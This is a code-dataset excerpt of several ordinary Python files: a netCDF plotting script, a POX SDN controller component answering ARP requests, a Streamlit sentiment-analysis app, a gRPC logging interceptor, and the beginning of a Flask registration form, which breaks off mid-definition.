{"api_name": "matplotlib.pyplot.plot", "line_number": 10, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 10, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 11, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 11, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 12, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 12, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 18, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 18, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 21, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 21, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 23, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 23, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 25, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 25, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 26, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 26, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 27, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 27, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 34, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 34, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 40, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 40, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 41, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 41, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 42, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 42, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 43, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 43, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 49, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 49, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 59, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 59, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 60, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 60, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 61, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 61, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 62, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 62, "usage_type": "name"}]}
{"seq_id": "5487096549", "text": "import os\nimport sys\nimport numpy\nimport numpy as np\nfrom netCDF4 import Dataset\nimport matplotlib\nmatplotlib.use('pdf')\nimport matplotlib.cm as cm\nimport matplotlib.pyplot as plt\nimport basic_plot_functions as BasicPF\nimport plot_utils as pu\nimport var_utils as vu\nimport modelsp_utils as mu\n\ndef readdata():\n\n   for metrics in mu.allFileStats:\n       for varName in mu.varNames3d:\n           for latBand in mu.latBands:\n             for iexp, expName in enumerate(mu.expNames):\n               xlabeltime  = []\n               alldata = []\n               alldiffdata = []\n               alldiffdata_rmsdiv = []\n               nc_file =  mu.expDirectory+'/'+mu.expLongNames[iexp]+'/FC2DIAG/expmgfs.nc'\n               nc_fid = Dataset(nc_file, \"r\", format=\"NETCDF4\")\n               for fcTDelta in np.arange(0,mu.fcRange+mu.interval,mu.interval):\n                   varNamesList = ['expmgfs_day'+str(fcTDelta)+'_'+ latBand +'_'+ varName + '_' + metrics]\n                   # data: exp-GFSANA\n                   data = np.array( nc_fid.variables[''.join(varNamesList)][:])\n                   alldata = np.append(alldata, data)\n                   xlabeltime = np.append(xlabeltime,fcTDelta)\n\n               alldata = alldata.reshape(len(xlabeltime),len(data)).T\n               ylevels = list(np.arange(0,len(data),1))\n               varNamesListUse = 'expmgfs_fc_'+ latBand +'_'+ varName + '_' + metrics \n               if (iexp == 0):\n                   arraylist = [alldata]\n               else:\n                   arraylist= arraylist + [alldata]\n             dmin = np.amin(arraylist) #min(arraylist.all()) #np.amin(arraylist)\n             dmax = np.amax(arraylist)\n             nx = mu.nExp\n             ny = 1 #nVars\n             nsubplots = nx * ny\n             subplot_size = 2.4\n             aspect = 0.55\n             FULL_SUBPLOT_LABELS =True\n             interiorLabels = True\n             fig = pu.setup_fig(nx, ny, subplot_size, aspect, FULL_SUBPLOT_LABELS)\n             title_tmp = varNamesListUse #''.join(varNamesListAll[i])\n             region = ''.join(title_tmp.split(\"_\")[2:][:-2])\n             var    = ''.join(title_tmp.split(\"_\")[3:][:-1])\n             stats  = ''.join(title_tmp.split(\"_\")[4:])\n             statDiagLabel = stats\n             if (stats == 'Mean'):\n                 signDefinite = False\n             else:\n                 signDefinite = True\n\n             #print(region,var,stats)\n             indepLabel = 'Vertical level'\n             sciTicks = False\n             invert_ind_axis = False\n             iplot = 0\n\n             for k in arraylist:\n                valuemin = np.amin(k)\n                valuemax = np.amax(k)\n                title = mu.expNames[iplot]  +' var:'+vu.varDictModel[var][1]+'('+ vu.varDictModel[var][0]+')\\\n '+region+' min=' +str(round(valuemin,3))+' max='+str(round(valuemax,3))\n\n                BasicPF.plotTimeSeries2D( fig, \\\n                            xlabeltime,ylevels, k, \\\n                            title, statDiagLabel, \\\n                            sciTicks, signDefinite, \\\n                            indepLabel, invert_ind_axis, \\\n                            ny, nx, nsubplots, iplot, \\\n                            dmin = dmin, dmax = dmax, \\\n                            interiorLabels = interiorLabels )\n                iplot = iplot +1\n                filename = varNamesListUse+'_TS_2d'\n                pu.finalize_fig(fig, filename, 'png', FULL_SUBPLOT_LABELS, True)\n\n             #plot diff between target and control exp for RMS:\n             if (mu.diff2exp == 'True' and varNamesListUse[-3:] == 'RMS'):\n                 for iexp in range(1,mu.nExp):\n                     #             target_exp - control_exp\n                     alldiffdata = arraylist[iexp]-arraylist[0]\n                     BasicPF.plotTimeserial2D(alldiffdata,xlabeltime,ylevels,varNamesListUse+mu.expNames[iexp]+'-RMS'+mu.expNames[0])\n\ndef main():\n    readdata()\n\nif __name__ == '__main__': main()\n", "repo_name": "JCSDA/mpas-jedi", "sub_path": "graphics/plot_modelspace_aggr.py", "file_name": "plot_modelspace_aggr.py", "file_ext": "py", "file_size_in_byte": 3961, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "81", "api": [{"api_name": "matplotlib.use", "line_number": 7, "usage_type": "call"}, {"api_name": "modelsp_utils.allFileStats", "line_number": 17, "usage_type": "attribute"}, {"api_name": "modelsp_utils.varNames3d", "line_number": 18, "usage_type": "attribute"}, {"api_name": "modelsp_utils.latBands", "line_number": 19, "usage_type": "attribute"}, {"api_name": "modelsp_utils.expNames", "line_number": 20, "usage_type": "attribute"}, {"api_name": "modelsp_utils.expDirectory", "line_number": 25, "usage_type": "attribute"}, {"api_name": "modelsp_utils.expLongNames", "line_number": 25, "usage_type": "attribute"}, {"api_name": "netCDF4.Dataset", "line_number": 26, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 27, "usage_type": "call"}, {"api_name": "modelsp_utils.fcRange", "line_number": 27, "usage_type": "attribute"}, {"api_name": "modelsp_utils.interval", "line_number": 27, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 30, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 31, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 35, "usage_type": "call"}, {"api_name": "numpy.amin", "line_number": 41, "usage_type": "call"}, {"api_name": "numpy.amax", "line_number": 42, "usage_type": "call"}, {"api_name": "modelsp_utils.nExp", "line_number": 43, "usage_type": "attribute"}, {"api_name": "plot_utils.setup_fig", "line_number": 50, "usage_type": "call"}, {"api_name": "numpy.amin", "line_number": 68, "usage_type": "call"}, {"api_name": "numpy.amax", "line_number": 69, "usage_type": "call"}, {"api_name": "modelsp_utils.expNames", "line_number": 70, "usage_type": "attribute"}, {"api_name": "var_utils.varDictModel", "line_number": 70, "usage_type": "attribute"}, {"api_name": "basic_plot_functions.plotTimeSeries2D", "line_number": 73, "usage_type": "call"}, {"api_name": "plot_utils.finalize_fig", "line_number": 83, "usage_type": "call"}, {"api_name": "modelsp_utils.diff2exp", "line_number": 86, "usage_type": "attribute"}, {"api_name": "modelsp_utils.nExp", "line_number": 87, "usage_type": "attribute"}, {"api_name": "basic_plot_functions.plotTimeserial2D", "line_number": 90, "usage_type": "call"}, {"api_name": "modelsp_utils.expNames", "line_number": 90, "usage_type": "attribute"}]}
{"seq_id": "24585639246", "text": "import pox.openflow.libopenflow_01 as of\nfrom pox.core import core\nfrom pox.lib.recoco import Timer\nfrom pox.lib.addresses import EthAddr\nfrom pox.lib.addresses import IPAddr\nfrom pox.lib.packet.ethernet import ethernet\nfrom pox.lib.packet.arp import arp\nfrom pox.lib.util import dpidToStr\nfrom pox.lib.util import str_to_dpid\nfrom util import check_same_network\n\nclass GatewayAccess:\n    def __init__(self) -> None:\n        core.openflow.addListeners(self)\n        self.gw_ip = IPAddr(\"10.0.0.1\")\n        self.gw_mac = EthAddr(\"00:00:01:01:01:01\")\n        #self.gw_mac = EthAddr(\"00:00:00:12:34:56\")\n\n    def _handle_PacketIn(self, event):\n        packet = event.parsed\n        if packet.type == packet.ARP_TYPE:\n            \n            # flter ARP message used inside the network for host and link discovery\n            if (packet.payload.opcode == arp.REQUEST and \n                packet.src != core.hostDiscovery.fake_mac_gw and \n                packet.payload.protodst == self.gw_ip):\n                \n                arp_packet = packet.payload\n                \n                print(packet.payload.__dict__)\n                self.install_gw_ARP_rule(event, arp_packet)\n                self._handle_gw_ARPRequest(event, arp_packet)\n\n            # handle only host-to-host ARP message and filter all related to fake gateways\n            elif (check_same_network(packet.payload.protodst,self.gw_ip,\"255.255.255.0\") and \n                  core.hostDiscovery.fake_ip_gw != packet.payload.protosrc and\n                  core.hostDiscovery.fake_ip_gw != packet.payload.protodst and\n                  self.gw_ip != packet.payload.protodst):\n                \n                arp_packet = packet.payload\n\n                print(\"ARP Request inside the network\")\n                print(packet.payload.__dict__)\n                self.install_host_ARP_rule(event,arp_packet)\n                self._handle_host_ARPRequest(event,arp_packet)\n\n\n    def install_host_ARP_rule(self, event, arp_packet):\n        \"\"\"\n        Send the rule to handle ARP REPLY message of the gateway\n        \"\"\"\n\n        msg = of.ofp_flow_mod()\n        \n        dl_src = core.hostDiscovery.hosts[arp_packet.protodst][\"mac\"]\n\n        msg.match = of.ofp_match(\n            dl_type=ethernet.ARP_TYPE, dl_src=dl_src, dl_dst=arp_packet.hwsrc\n        )\n        \n        msg.actions.append(of.ofp_action_output(port=event.ofp.in_port))\n        event.connection.send(msg)\n\n\n    def _handle_host_ARPRequest(self, event, arp_packet):\n                \n        # Create ARP reply message\n        arp_reply = arp()\n        arp_reply.opcode = arp.REPLY\n\n        # insert the mac address of the requested host\n        arp_reply.hwsrc = core.hostDiscovery.hosts[arp_packet.protodst][\"mac\"]\n        arp_reply.hwdst = arp_packet.hwsrc\n        arp_reply.protosrc = arp_packet.protodst\n        arp_reply.protodst = arp_packet.protosrc\n\n        # Create ethernet frame\n        ether = ethernet()\n        ether.type = ethernet.ARP_TYPE\n        ether.dst = arp_packet.hwsrc\n        ether.src = core.hostDiscovery.hosts[arp_packet.protodst][\"mac\"]\n        ether.payload = arp_reply\n        \n        # Create openflow msg and send with a packet out\n        msg = of.ofp_packet_out()\n        msg.data = ether.pack()\n        msg.actions.append(of.ofp_action_output(port=event.port))\n        event.connection.send(msg)\n        \n\n    def install_gw_ARP_rule(self, event, arp_packet):\n        \"\"\"\n        Send the rule to handle ARP REPLY message of the gateway\n        \"\"\"\n\n        msg = of.ofp_flow_mod()\n\n        msg.match = of.ofp_match(\n            dl_type=ethernet.ARP_TYPE, dl_src=self.gw_mac, dl_dst=arp_packet.hwsrc\n        )\n        # Rule will expire after 5 seconds because it useful only to\n        # send back to the host the ARP reply\n        msg.hard_timeout = 5\n\n        msg.actions.append(of.ofp_action_output(port=event.ofp.in_port))\n        event.connection.send(msg)\n\n        \n\n    def _handle_gw_ARPRequest(self, event, arp_packet):\n        if arp_packet.protodst == self.gw_ip:\n            \n            # Create ARP reply message\n            arp_reply = arp()\n            arp_reply.opcode = arp.REPLY\n\n            # As if the reply comes from the GW and not from the controller\n            arp_reply.hwsrc = self.gw_mac\n            arp_reply.hwdst = arp_packet.hwsrc\n            arp_reply.protosrc = arp_packet.protodst\n            arp_reply.protodst = arp_packet.protosrc\n\n            # Create ethernet frame\n            ether = ethernet()\n            ether.type = ethernet.ARP_TYPE\n            ether.dst = arp_packet.hwsrc\n            ether.src = self.gw_mac\n            ether.payload = arp_reply\n\n            # Create openflow msg and send with a packet out\n            msg = of.ofp_packet_out()\n            msg.data = ether.pack()\n            msg.actions.append(of.ofp_action_output(port=event.port))\n            event.connection.send(msg)\n\n    def get_dpid_gw(self):\n        \"\"\"\n        It returns the dpid of the gw since it is the same of the MAC address of interface\n        eth0\n        \"\"\"\n        str_gw_mac = self.gw_mac.toStr()\n        str_gw_dpid = str_gw_mac.replace(\":\", \"-\")\n        gw_dpid = str_to_dpid(str_gw_dpid)\n        return gw_dpid\n\n\ndef launch():\n    core.registerNew(GatewayAccess)\n", "repo_name": "GabrieleLerani/SDN-project", "sub_path": "Part 1/src/ARP_component.py", "file_name": "ARP_component.py", "file_ext": "py", "file_size_in_byte": 5267, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "pox.core.core.openflow.addListeners", "line_number": 14, "usage_type": "call"}, {"api_name": "pox.core.core.openflow", "line_number": 14, "usage_type": "attribute"}, {"api_name": "pox.core.core", "line_number": 14, "usage_type": "name"}, {"api_name": "pox.lib.addresses.IPAddr", "line_number": 15, "usage_type": "call"}, {"api_name": "pox.lib.addresses.EthAddr", "line_number": 16, "usage_type": "call"}, {"api_name": "pox.lib.packet.arp.arp.REQUEST", "line_number": 24, "usage_type": "attribute"}, {"api_name": "pox.lib.packet.arp.arp", "line_number": 24, "usage_type": "name"}, {"api_name": "pox.core.core.hostDiscovery", "line_number": 25, "usage_type": "attribute"}, {"api_name": "pox.core.core", "line_number": 25, "usage_type": "name"}, {"api_name": "util.check_same_network", "line_number": 35, "usage_type": "call"}, {"api_name": "pox.core.core.hostDiscovery", "line_number": 36, "usage_type": "attribute"}, {"api_name": "pox.core.core", "line_number": 36, "usage_type": "name"}, {"api_name": "pox.core.core.hostDiscovery", "line_number": 37, "usage_type": "attribute"}, {"api_name": "pox.core.core", "line_number": 37, "usage_type": "name"}, {"api_name": "pox.openflow.libopenflow_01.ofp_flow_mod", "line_number": 53, "usage_type": "call"}, {"api_name": "pox.openflow.libopenflow_01", "line_number": 53, "usage_type": "name"}, {"api_name": "pox.core.core.hostDiscovery", "line_number": 55, "usage_type": "attribute"}, {"api_name": "pox.core.core", "line_number": 55, "usage_type": "name"}, {"api_name": "pox.openflow.libopenflow_01.ofp_match", "line_number": 57, "usage_type": "call"}, {"api_name": "pox.openflow.libopenflow_01", "line_number": 57, "usage_type": "name"}, {"api_name": "pox.lib.packet.ethernet.ethernet.ARP_TYPE", "line_number": 58, "usage_type": "attribute"}, {"api_name": "pox.lib.packet.ethernet.ethernet", "line_number": 58, "usage_type": "name"}, {"api_name": "pox.openflow.libopenflow_01.ofp_action_output", "line_number": 61, "usage_type": "call"}, {"api_name": "pox.openflow.libopenflow_01", "line_number": 61, "usage_type": "name"}, {"api_name": "pox.lib.packet.arp.arp", "line_number": 68, "usage_type": "call"}, {"api_name": "pox.lib.packet.arp.arp.REPLY", "line_number": 69, "usage_type": "attribute"}, {"api_name": "pox.lib.packet.arp.arp", "line_number": 69, "usage_type": "name"}, {"api_name": "pox.core.core.hostDiscovery", "line_number": 72, "usage_type": "attribute"}, {"api_name": "pox.core.core", "line_number": 72, "usage_type": "name"}, {"api_name": "pox.lib.packet.ethernet.ethernet", "line_number": 78, "usage_type": "call"}, {"api_name": "pox.lib.packet.ethernet.ethernet.ARP_TYPE", "line_number": 79, "usage_type": "attribute"}, {"api_name": "pox.lib.packet.ethernet.ethernet", "line_number": 79, "usage_type": "name"}, {"api_name": "pox.core.core.hostDiscovery", "line_number": 81, "usage_type": "attribute"}, {"api_name": "pox.core.core", "line_number": 81, "usage_type": "name"}, {"api_name": "pox.openflow.libopenflow_01.ofp_packet_out", "line_number": 85, "usage_type": "call"}, {"api_name": "pox.openflow.libopenflow_01", "line_number": 85, "usage_type": "name"}, {"api_name": "pox.openflow.libopenflow_01.ofp_action_output", "line_number": 87, "usage_type": "call"}, {"api_name": "pox.openflow.libopenflow_01", "line_number": 87, "usage_type": "name"}, {"api_name": "pox.openflow.libopenflow_01.ofp_flow_mod", "line_number": 96, "usage_type": "call"}, {"api_name": "pox.openflow.libopenflow_01", "line_number": 96, "usage_type": "name"}, {"api_name": "pox.openflow.libopenflow_01.ofp_match", "line_number": 98, "usage_type": "call"}, {"api_name": "pox.openflow.libopenflow_01", "line_number": 98, "usage_type": "name"}, {"api_name": "pox.lib.packet.ethernet.ethernet.ARP_TYPE", "line_number": 99, "usage_type": "attribute"}, {"api_name": "pox.lib.packet.ethernet.ethernet", "line_number": 99, "usage_type": "name"}, {"api_name": "pox.openflow.libopenflow_01.ofp_action_output", "line_number": 105, "usage_type": "call"}, {"api_name": "pox.openflow.libopenflow_01", "line_number": 105, "usage_type": "name"}, {"api_name": "pox.lib.packet.arp.arp", "line_number": 114, "usage_type": "call"}, {"api_name": "pox.lib.packet.arp.arp.REPLY", "line_number": 115, "usage_type": "attribute"}, {"api_name": "pox.lib.packet.arp.arp", "line_number": 115, "usage_type": "name"}, {"api_name": "pox.lib.packet.ethernet.ethernet", "line_number": 124, "usage_type": "call"}, {"api_name": "pox.lib.packet.ethernet.ethernet.ARP_TYPE", "line_number": 125, "usage_type": "attribute"}, {"api_name": "pox.lib.packet.ethernet.ethernet", "line_number": 125, "usage_type": "name"}, {"api_name": "pox.openflow.libopenflow_01.ofp_packet_out", "line_number": 131, "usage_type": "call"}, {"api_name": "pox.openflow.libopenflow_01", "line_number": 131, "usage_type": "name"}, {"api_name": "pox.openflow.libopenflow_01.ofp_action_output", "line_number": 133, "usage_type": "call"}, {"api_name": "pox.openflow.libopenflow_01", "line_number": 133, "usage_type": "name"}, {"api_name": "pox.lib.util.str_to_dpid", "line_number": 143, "usage_type": "call"}, {"api_name": "pox.core.core.registerNew", "line_number": 148, "usage_type": "call"}, {"api_name": "pox.core.core", "line_number": 148, "usage_type": "name"}]}
{"seq_id": "5523217780", "text": "import streamlit as st\nfrom vaderSentiment.vaderSentiment import SentimentIntensityAnalyzer\nimport pandas as pd\n\n# Initialize the VADER sentiment intensity analyzer\nanalyzer = SentimentIntensityAnalyzer()\n\n# Load the data from the Excel file\nenglish_texts_df = pd.read_excel('english_texts.xlsx')\n\nst.markdown(\n    \"\"\"\n    <style>\n        .title {\n            font-size: 72px;\n            font-weight: bold;\n            color: yellow;\n        }\n        .subtitle {\n            font-size: 72px;\n            font-weight: bold;\n            color: black;\n        }\n        .stButton > button {\n                        color: black;\n                        border: 3px solid yellow;\n                        font-size: 18px;\n                        padding: 10px 20px;\n                        width: auto;\n                        height: auto;\n                    }\n\n        .big-title {\n            font-size: 28px;\n        }\n    </style>\n    \"\"\", unsafe_allow_html=True\n)\n\nst.markdown(\n    \"\"\"\n    <span class=\"title\">One</span><span class=\"subtitle\">AMZ</span>\n    \"\"\", unsafe_allow_html=True\n)\n\nst.markdown('<p class=\"big-title\">Duygu Analizi</p>', unsafe_allow_html=True)\n\n# Dropdown to choose text\nselected_text = st.selectbox(\"**OneAMZ yorumlarından bir tane seçin**\", english_texts_df['english_texts'].tolist())\nuser_input = st.text_area(\"**Lütfen bir tane yorum yazın**\", selected_text)\n\nif st.button('ANALİZ'):\n    score = analyzer.polarity_scores(user_input)\n    if -0.05 < score['compound'] < 0.05:\n        result = 'Neutral'\n    elif score['compound'] > 0:\n        result = 'Positive'\n    else:\n        result = 'Negative'\n    st.write(f\"The sentiment is: **{result}**\")\n\n", "repo_name": "BurcakAydin/sentiment_analysis", "sub_path": ".ipynb_checkpoints/Sentiment_analysis_app-Vader-checkpoint.py", "file_name": "Sentiment_analysis_app-Vader-checkpoint.py", "file_ext": "py", "file_size_in_byte": 1684, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "vaderSentiment.vaderSentiment.SentimentIntensityAnalyzer", "line_number": 6, "usage_type": "call"}, {"api_name": "pandas.read_excel", "line_number": 9, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 11, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 40, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 46, "usage_type": "call"}, {"api_name": "streamlit.selectbox", "line_number": 49, "usage_type": "call"}, {"api_name": "streamlit.text_area", "line_number": 50, "usage_type": "call"}, {"api_name": "streamlit.button", "line_number": 52, "usage_type": "call"}, {"api_name": "streamlit.write", "line_number": 60, "usage_type": "call"}]}
{"seq_id": "23448202249", "text": "from grpc_interceptor import ServerInterceptor\nfrom connection_manager import counter\nfrom loggings.svc_log import SvcLogger\nfrom loggings import tlo\nfrom properties.cfg_parser import CfgParser\nfrom datetime import datetime\nfrom pytz import timezone\nimport loggings.tlo_writer as tlo_writer\nimport os\n\nPRJ_ROOT = os.path.abspath(os.path.join(__file__, '..', '..'))\npublic_cfg = CfgParser(os.path.join(PRJ_ROOT, 'properties', 'config.cfg'))  \ntlo_path = PRJ_ROOT + public_cfg.tlo_path\ncounter = counter.Counter()\ntlo_cls = tlo.Tlo()\nlog_file = PRJ_ROOT + public_cfg.log_path + 'nlc.' + str(datetime.now(timezone('Asia/Seoul')).strftime(\"%Y-%m-%d\"))+'.log'\nsvcLogger = SvcLogger('svc_logger', log_file)\nlogger = svcLogger.get_logger()\n        \n# 서버 인터셉터 클래스 정의\nclass LoggingInterceptor(ServerInterceptor):\n       \n    def intercept(self, method, request, context, method_name):\n        tlo_cls.clear()\n            \n        #methodName의 이름은 proto파일 규격에 따름\n        methodName = method_name.rsplit('/', 1)[-1]\n                                             \n        logger.info(f'####### start {methodName}() method....')\n         \n        #여기부턴 tlo 작성과정 \n        request_time = tlo.get_request_time()\n        client_ip = context.peer()\n        tlo_msg = {}\n        tlo_msg['seq_id'] = tlo.seq_id() #tlo 고유 id\n        tlo_msg['req_time'] = request_time #서비스 전체 요청 발생 시간  \n        tlo_msg['client_ip'] = client_ip \n            \n        # SVR_TYPE: chatbot, admin, itn\n        if methodName == 'getNlc':\n            tlo_msg['svr_type'] = \"chatbot\"    \n        elif methodName == 'getItn':\n            tlo_msg['svr_type'] = \"itn\" \n        else:\n            tlo_msg['svr_type'] = \"admin\" \n\n        counter.increment()            \n  \n        # try:\n            # 이 코드를 기준으로 위에는 서버가 클라이언트의 요청을 받기 전에 필요한 코드를,\n            # 아래에는 클라이언트가 서버의 응답을 받기 전에 필요한 코드를 작성하면 됨            \n        response = method(request, context)   \n        print(response.resultCode)\n        \n        counter.decrement() \n        if response.resultCode == \"0000\":\n            tlo_msg['rsp_time'] = tlo.get_request_time() #서비스 전체 응답 완료 시간       \n            tlo_msg['log_time'] = tlo.get_logtime() #로그를 파일에 WRITE하는 시점 시간\n            logger.info(f'####### end {methodName}() method....')\n            log_write(tlo_msg)        \n            return response\n        else: \n            tlo_msg['rsp_time'] = tlo.get_request_time() #서비스 전체 응답 완료 시간       \n            tlo_msg['log_time'] = tlo.get_logtime() #로그를 파일에 WRITE하는 시점 시간\n            logger.info(f'####### end {methodName}() method....')\n            log_write(tlo_msg)   \n            return response\n        \n        # TLO로그는 하나의 클라이언트 요청당 하나만 생기고, 결과가 정상이든 에러든 무조건 하나씩 생성된다.\n        # 1XXXXXXX 정보\n        # 2XXXXXXX 성공\n        # 3XXXXXXX 클라이언트 에러\n        # 4XXXXXXX 서버에러(서비스)\n        # 5XXXXXXX 서버에러(연동)\n                           \ndef log_write(tlo_msg):\n    tlo_cls.set_tlo_messages(tlo_msg)\n    tlo_input_msg = tlo_cls.get_tlo_messages()\n    tlo_abs_path = tlo.get_tlo_path(tlo_path)\n    tlo_file_name = tlo.get_tlo_log_name()\n    tlo_file = tlo_writer.MultiLog(os.path.join(tlo_abs_path, tlo_file_name), tlo_file_name, None)\n    tlo_file.info(tlo_input_msg)\n    tlo_writer.EndMultiLog(tlo_file_name) \n    \n    ", "repo_name": "angelkkj1169/nlp_test", "sub_path": "interceptor/interceptor.py", "file_name": "interceptor.py", "file_ext": "py", "file_size_in_byte": 3662, "program_lang": "python", "lang": "ko", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "os.path.abspath", "line_number": 11, "usage_type": "call"}, {"api_name": "os.path", "line_number": 11, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 11, "usage_type": "call"}, {"api_name": "properties.cfg_parser.CfgParser", "line_number": 12, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 12, "usage_type": "call"}, {"api_name": "os.path", "line_number": 12, "usage_type": "attribute"}, {"api_name": "connection_manager.counter", "line_number": 14, "usage_type": "name"}, {"api_name": "connection_manager.counter.Counter", "line_number": 14, "usage_type": "call"}, {"api_name": "loggings.tlo.Tlo", "line_number": 15, "usage_type": "call"}, {"api_name": "loggings.tlo", "line_number": 15, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 16, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 16, "usage_type": "name"}, {"api_name": "pytz.timezone", "line_number": 16, "usage_type": "call"}, {"api_name": "loggings.svc_log.SvcLogger", "line_number": 17, "usage_type": "call"}, {"api_name": "grpc_interceptor.ServerInterceptor", "line_number": 21, "usage_type": "name"}, {"api_name": "loggings.tlo.get_request_time", "line_number": 32, "usage_type": "call"}, {"api_name": "loggings.tlo", "line_number": 32, "usage_type": "name"}, {"api_name": "loggings.tlo.seq_id", "line_number": 35, "usage_type": "call"}, {"api_name": "loggings.tlo", "line_number": 35, "usage_type": "name"}, {"api_name": "connection_manager.counter.increment", "line_number": 47, "usage_type": "call"}, {"api_name": "connection_manager.counter", "line_number": 47, "usage_type": "name"}, {"api_name": "connection_manager.counter.decrement", "line_number": 55, "usage_type": "call"}, {"api_name": "connection_manager.counter", "line_number": 55, "usage_type": "name"}, {"api_name": "loggings.tlo.get_request_time", "line_number": 57, "usage_type": "call"}, {"api_name": "loggings.tlo", "line_number": 57, "usage_type": "name"}, {"api_name": "loggings.tlo.get_logtime", "line_number": 58, "usage_type": "call"}, {"api_name": "loggings.tlo", "line_number": 58, "usage_type": "name"}, {"api_name": "loggings.tlo.get_request_time", "line_number": 63, "usage_type": "call"}, {"api_name": "loggings.tlo", "line_number": 63, "usage_type": "name"}, {"api_name": "loggings.tlo.get_logtime", "line_number": 64, "usage_type": "call"}, {"api_name": "loggings.tlo", "line_number": 64, "usage_type": "name"}, {"api_name": "loggings.tlo.get_tlo_path", "line_number": 79, "usage_type": "call"}, {"api_name": "loggings.tlo", "line_number": 79, "usage_type": "name"}, {"api_name": "loggings.tlo.get_tlo_log_name", "line_number": 80, "usage_type": "call"}, {"api_name": "loggings.tlo", "line_number": 80, "usage_type": "name"}, {"api_name": "loggings.tlo_writer.MultiLog", "line_number": 81, "usage_type": "call"}, {"api_name": "loggings.tlo_writer", "line_number": 81, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 81, "usage_type": "call"}, {"api_name": "os.path", "line_number": 81, "usage_type": "attribute"}, {"api_name": "loggings.tlo_writer.EndMultiLog", "line_number": 83, "usage_type": "call"}, {"api_name": "loggings.tlo_writer", "line_number": 83, "usage_type": "name"}]}
{"seq_id": "27163398910", "text": "from flask_wtf import FlaskForm\nfrom wtforms import (\n    PasswordField,\n    StringField,\n    TextAreaField,\n    SubmitField,\n    ValidationError,\n    SelectField,\n    BooleanField,\n    FormField,\n    FieldList,\n    SelectField,\n    SelectMultipleField,\n)\nfrom wtforms.validators import DataRequired, Email, EqualTo, Length\nfrom ...validators import validate_against_text\n\nfrom ...auth.enums import Title, AccountType\n\n\nfrom ...auth.models import UserAccount\n\nfrom ...sample.enums import (\n    SampleBaseType,\n    FluidSampleType,\n    CellSampleType,\n    MolecularSampleType,\n    ContainerBaseType,\n    FluidContainer,\n    CellContainer,\n)\n\nfrom flask import flash\n\n\nclass UserAccountRegistrationForm(FlaskForm):\n    title = SelectField(\"Title\", validators=[DataRequired()], choices=Title.choices())\n\n    first_name = StringField(\"First Name\", validators=[DataRequired()])\n    middle_name = StringField(\"Middle Name\")\n    last_name = StringField(\"Last Name\", validators=[DataRequired()])\n\n    email = StringField(\n        \"Email Address\",\n        description=\"We'll never share your email with anyone else.\",\n        validators=[DataRequired(), Email()],\n    )\n\n    password = PasswordField(\n        \"Password\",\n        description=\"Please ensure that you provide a secure password\",\n        validators=[\n            DataRequired(),\n            EqualTo(\"confirm_password\", message=\"Passwords must match\"),\n        ],\n    )\n\n    is_admin = BooleanField(\"Is Admin?\")\n\n    confirm_password = PasswordField(\"Confirm Password\")\n\n    submit = SubmitField(\"Register\")\n\n    def validate_email(self, field):\n        if UserAccount.query.filter_by(email=field.data).first():\n            raise ValidationError(\"Email address already in use.\")\n\n\ndef AccountLockPasswordForm(email):\n    class 